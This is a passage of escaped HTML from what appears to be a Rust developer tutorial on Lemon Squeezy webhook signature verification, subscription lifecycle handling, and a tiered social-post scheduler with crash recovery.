    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;LemonPayload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;serde_json&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;from_slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Signature Verification
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/payments/signature.rs&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;verify_signature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;HeaderMap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;AppResult&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;presented&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;
        &lt;span class="nf"&gt;.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"X-Signature"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;.and_then&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="nf"&gt;.to_str&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.ok&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
        &lt;span class="nf"&gt;.ok_or_else&lt;/span&gt;&lt;span class="p"&gt;(||&lt;/span&gt; &lt;span class="nn"&gt;AppError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;Unauthorized&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Missing X-Signature"&lt;/span&gt;&lt;span class="nf"&gt;.into&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;mac&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;HmacSha256&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;new_from_slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="nf"&gt;.as_bytes&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
        &lt;span class="nf"&gt;.map_err&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nn"&gt;AppError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;Internal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;anyhow&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;anyhow!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"HMAC init failed"&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;mac&lt;/span&gt;&lt;span class="nf"&gt;.update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;expected&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mac&lt;/span&gt;&lt;span class="nf"&gt;.finalize&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.into_bytes&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;

    &lt;span class="c1"&gt;// Timing-safe: always compares all bytes, never short-circuits&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;constant_time_eq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expected&lt;/span&gt;&lt;span class="nf"&gt;.as_bytes&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;presented&lt;/span&gt;&lt;span class="nf"&gt;.as_bytes&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;AppError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;Unauthorized&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Signature mismatch"&lt;/span&gt;&lt;span class="nf"&gt;.into&lt;/span&gt;&lt;span class="p"&gt;()));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(())&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Always Return 200 to Webhooks
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// After signature passes, ALWAYS return 200 even if processing fails.&lt;/span&gt;
&lt;span class="c1"&gt;// Why? Lemon Squeezy retries on non-2xx responses.&lt;/span&gt;
&lt;span class="c1"&gt;// A 500 from your DB being slow = LS fires the webhook again = duplicate upgrade.&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;process_event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nn"&gt;tracing&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;error!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;event&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="py"&gt;.meta.event_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s"&gt;"Webhook processing failed — manual review needed"&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// Log it, alert yourself, but DON'T return 500&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nn"&gt;StatusCode&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;OK&lt;/span&gt; &lt;span class="c1"&gt;// Always&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Subscription Lifecycle
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// subscription_created  → upgrade tier + reset quota&lt;/span&gt;
&lt;span class="c1"&gt;// subscription_cancelled → record ends_at, DON'T downgrade yet&lt;/span&gt;
&lt;span class="c1"&gt;// subscription_expired  → downgrade to Free, clear subscription fields&lt;/span&gt;

&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;handle_subscription_expired&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;AppState&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;LemonPayload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;users_col&lt;/span&gt;&lt;span class="nf"&gt;.update_one&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nd"&gt;doc!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="nd"&gt;doc!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"$set"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="s"&gt;"tier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                 &lt;span class="s"&gt;"free"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s"&gt;"ls_subscription_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="nn"&gt;bson&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;Bson&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s"&gt;"subscription_ends_at"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nn"&gt;bson&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;Bson&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;}},&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="c1"&gt;// User loses paid access on the ACTUAL expiry date, not cancellation date.&lt;/span&gt;
    &lt;span class="c1"&gt;// They paid for the full period — this is the fair thing to do.&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Part 3 — Multi-Tier Scheduler
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Tier System
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;enum&lt;/span&gt; &lt;span class="n"&gt;Tier&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;Free&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Basic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Pro&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Max&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;impl&lt;/span&gt; &lt;span class="n"&gt;Tier&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;post_quota&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;u32&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;match&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nn"&gt;Tier&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Free&lt;/span&gt;  &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="nn"&gt;Tier&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Basic&lt;/span&gt; &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="nn"&gt;Tier&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Pro&lt;/span&gt;   &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nn"&gt;u32&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;MAX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// unlimited&lt;/span&gt;
            &lt;span class="nn"&gt;Tier&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Max&lt;/span&gt;   &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nn"&gt;u32&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;MAX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;image_quota&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;u32&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;match&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nn"&gt;Tier&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Free&lt;/span&gt; &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;        &lt;span class="c1"&gt;// sub-limit: 10 image posts/month&lt;/span&gt;
            &lt;span class="n"&gt;_&lt;/span&gt;          &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nn"&gt;u32&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;MAX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;// unlimited for paid tiers&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;scheduler_interval_minutes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;u32&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;match&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nn"&gt;Tier&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Free&lt;/span&gt;  &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="nn"&gt;Tier&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Basic&lt;/span&gt; &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="nn"&gt;Tier&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Pro&lt;/span&gt;   &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="nn"&gt;Tier&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Max&lt;/span&gt;   &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// instant — Look-Ahead architecture&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Look-Ahead + Sleep Pattern (Max Tier)
&lt;/h3&gt;

&lt;p&gt;This is the pattern Buffer and Hootsuite use internally. Not polling every second (kills your DB), not trusting in-memory only (crashes lose data):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Max tier scheduler — runs every 60 seconds&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;dispatch_max_lookahead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;DbPool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;Utc&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;window_end&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nn"&gt;chrono&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// ONE DB query per minute — not one per second&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;posts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;find_pending_posts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nn"&gt;Tier&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Max&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;window_end&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;post&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;posts&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Mark as Dispatched FIRST — this is the crash safety mechanism&lt;/span&gt;
        &lt;span class="nf"&gt;mark_dispatched&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="py"&gt;.id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;delay_ms&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="py"&gt;.scheduled_at&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nn"&gt;Utc&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
            &lt;span class="nf"&gt;.num_milliseconds&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="nf"&gt;.max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;db_clone&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="nf"&gt;.clone&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="nn"&gt;tokio&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;move&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="c1"&gt;// Sleep for exact remaining milliseconds&lt;/span&gt;
            &lt;span class="nn"&gt;tokio&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;time&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;from_millis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delay_ms&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="nf"&gt;publish_post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;db_clone&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;Dispatched&lt;/code&gt; status is crash safety:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Pending → Dispatched → Published
                     ↘ Failed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On server restart, recovery runs immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;recover_dispatched_posts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;DbPool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Any post still Dispatched = server crashed mid-flight&lt;/span&gt;
    &lt;span class="c1"&gt;// Re-spawn them immediately&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;stuck_posts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;find_dispatched_posts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;post&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;stuck_posts&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
